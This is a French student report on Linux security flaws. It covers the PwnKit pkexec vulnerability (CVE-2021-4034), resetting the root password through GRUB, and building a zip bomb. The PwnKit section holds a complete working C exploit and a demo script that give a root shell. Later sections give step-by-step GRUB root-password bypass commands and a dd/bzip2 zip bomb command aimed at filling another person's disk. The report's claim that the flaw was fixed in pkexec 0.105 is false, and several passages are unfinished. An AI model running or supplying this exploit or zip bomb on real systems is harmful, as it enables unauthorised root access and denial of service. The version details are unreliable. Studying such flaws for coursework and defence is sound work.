SYSG5 : Exploitation de failles de sécurité LINUX

Antoine Ghigny - 56359

29/10/2022

Table des matières

1 Dépassement de mémoire : Pwnkit **1**
1.1 Origine de la faille 1
1.2 Comment cela fonctionne ? (à modifier) 2
1.3 Détails techniques sur la faille (à compléter) 2
1.4 Comment savoir si la faille est exploitable sur le système ? 2
1.5 Démonstration 3
1.5.1 Le code C (à modifier) 3
1.5.2 Script qui permet d'exécuter la faille 3
1.6 Comment a été corrigée cette faille (à modifier) 3

2 Modifier le mot de passe administrateur sans le connaître **4**
2.1 grub 4

3 Bombe zip **4**
3.1 Qu'est-ce qu'une zip bomb ? 4
3.2 Comment faire une zip bomb ? 4

1 Dépassement de mémoire : Pwnkit

1.1 Origine de la faille

Polkit est bibliothèque sur laquelle a été découvert cette vulnérabilité. Il a été créé à la base pour permettre aux dévelopeurs de réaliser des actions qui nécessitaient des privilèges élevés sur le système. On peut le comparer à sudo qui fait essentiellement la même chose côté utilisateur.

Cette faille va s'intéresser à l'utilisation de la commande **pkexec** qui fait partie de la bibliothèque polkit. L'appel système pkexec est apparu en 2009 et inclus dans pratiquement toutes les distributions linux actuelles.

Cette faille de sécurité est présente depuis 12 ans et récemment mise en évidence par l'équipe de recherche Qualys en février 2022. [1]

Cette faille permet à n'importe quel attaquant qui possède un compte sur un système linux de devenir le root du système sans quasiment aucun effort.

1.2 Comment cela fonctionne ? (à modifier)

pkexec est une commande comme les autres, on peut lui passer des arguments

Mais il y a un gros problème dans la façon dont il va être implémentée, si l'argument argc est à la valeur NULL, le fonctionnement de pkexec va être déréglé.

En manipulant des variables d'environnements et en créant des dossiers qui portent le même nom que ce qu'on va inscrire dans les variables d'environnement. Il est possible de charger un bout de code à un endroit contrôlé par l'attaquant.

1.3 Détails techniques sur la faille (à compléter)

Le début de la fonction main() de pkexec traite les arguments de ligne de commande (lignes 534-568), et recherche le programme à exécuter, si son chemin n'est pas absolu, dans les répertoires de la variable d'environnement PATH (lignes 610-640) :

```
435   main (int argc, char *argv[])
436   {
...
534       for (n = 1; n < (guint) argc; n++)
535       {
...
568       }
...
610           path = g_strdup (argv[n]);
...
629           if (path[0] != '/')
630       {
...
632           s = g_find_program_in_path (path);
...
639               argv[n] = path = s;
640     }
```

Malheureusement, si le nombre d'arguments de ligne de commande argc est égal à 0, ce qui signifie que si la liste d'arguments argv que nous passons à execve() est vide, c'est-à-dire NULL, alors argv[0] est NULL. Il s'agit du terminateur de la liste d'arguments. Donc :

- à la ligne 534, l'entier n est définitivement défini sur 1 ;
- À la ligne 610, le chemin du pointeur est lu hors limites à partir de argv[1] ;
- À la ligne 639, le pointeur S est écrit hors limites dans argv[1].
- À la ligne 610, le chemin du programme à exécuter est lu hors limites à partir de argv[1] (c'est-à-dire envp[0]), et pointe vers « value » ;
- ...

1.4 Comment savoir si la faille est exploitable sur le système ?

La **version de pkexec** doit être inférieure à **0.105**. Il est possible de vérifier cela sur la machine de la victime en tapant la commande ci dessous :

```
pkexec --version
```

1.5 Démonstration

1.5.1 Le code C (à modifier)

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell =
   "#include <stdio.h>\n"
   "#include <stdlib.h>\n"
   "#include <unistd.h>\n\n"
   "void gconv() {}\n"
   "void gconv_init() {\n"
   "  setuid(0); setgid(0);\n"
   "  seteuid(0); setegid(0);\n"
   "  system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin;"
   "  rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
   "  exit(0);\n"
   "}";

int main(int argc, char *argv[]) {
   FILE *fp;
   system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
   system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
   fp = fopen("pwnkit/pwnkit.c", "w");
   fprintf(fp, "%s", shell);
   fclose(fp);
   system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
   char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
   system("id");
   execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
```

1.5.2 Script qui permet d'exécuter la faille

```
#!/bin/bash
#NOM    : Demo
#OBJET  : réservé au makefile
#AUTEUR  : Antoine Ghigny - 563459
clear
C='\033[44m'
E='\033[32m\033[1m'
W='\033[31m\033[1m'
N='\033[0m'
clear
echo "Démonstration de la faille de sécurité permettant de passer en root"
echo "----------------------------------------"
echo -e "${C}              --> Enter pour continuer${N}"
read
sleep 1
echo -e "${E}Vous êtes actuellement l'utilisateur : ${N}"
echo
id
echo
echo -e "${E}Exécution du programme : ${N}"
echo
./exploit
```

1.6 Comment a été corrigée cette faille (à modifier)

Cette faille a été corrigée dans la version 0.105 de pkexec.

2 Modifier le mot de passe administrateur sans le connaître

2.1 grub

1. **Eteindre le pc** et après avoir rallumé l'ordinateur, ouvrir les options avancées et **ouvrir Grub**. Il s'agit d'un programme d'ammorçage du chargement d'un système d'exploitation. C'est ce qui fait le lien entre le bios et le système d'exploitation. Avant que le système ne soit chargé ou lancé.
2. Entrer en mode édition via la touche 'E'. Dans le menu GRUB, recherchez la ligne du noyau commençant par linux /boot/ et ajoutez cette ligne

```
init=/bin/bash
```

3. Sauvegardez les changements via en appuyant sur **CTRL + X** et rebooter en mode single-user mode.
4. Dans le terminal, indiquez la ligne

```
mount -o remount,rw /
```

5. Une fois cela fait, vous pouvez modifier le password administrateur via cette la commande ci-dessous, vous n'aurez qu'à entrer le nouveau mot de passe et une autre fois pour confirmer. Il suffit de redémarrer le système et le password administrateur aura été modifié.

```
passwd root
```

3 Bombe zip

3.1 Qu'est-ce qu'une zip bomb ?

Une zip bomb est un fichier compressé de quelques MO qui contient énormément de données présente sous formes d'octets, ce qui va amener à saturer le disque dur. Le système va manquer de mémoire et se bloquer dans le processus.

3.2 Comment faire une zip bomb ?

Entrez cette commande dans le terminal.

Cela compresse 100 To de données dans un fichier d'environ 14,9 Mo. Ainsi, lorsque quelqu'un essaie de l'extraire, il devrait s'étendre à plus de 1300000x sa taille et leur disque dur devrait être rempli de caractères nuls !

```
dd if=/dev/zero bs=10G count=10000 | bzip2 -c > zipBomb.bz2
```

Il suffit alors d'extraire le fichier via la commande suivante :

```
bzip2 -d zipBomb.bz2
```

Références

[1] Director Bharat Jogi. Pwnkit : Local privilege escalation vulnerability discovered in polkit's pkexec (cve-2021-4034), Feb 2022.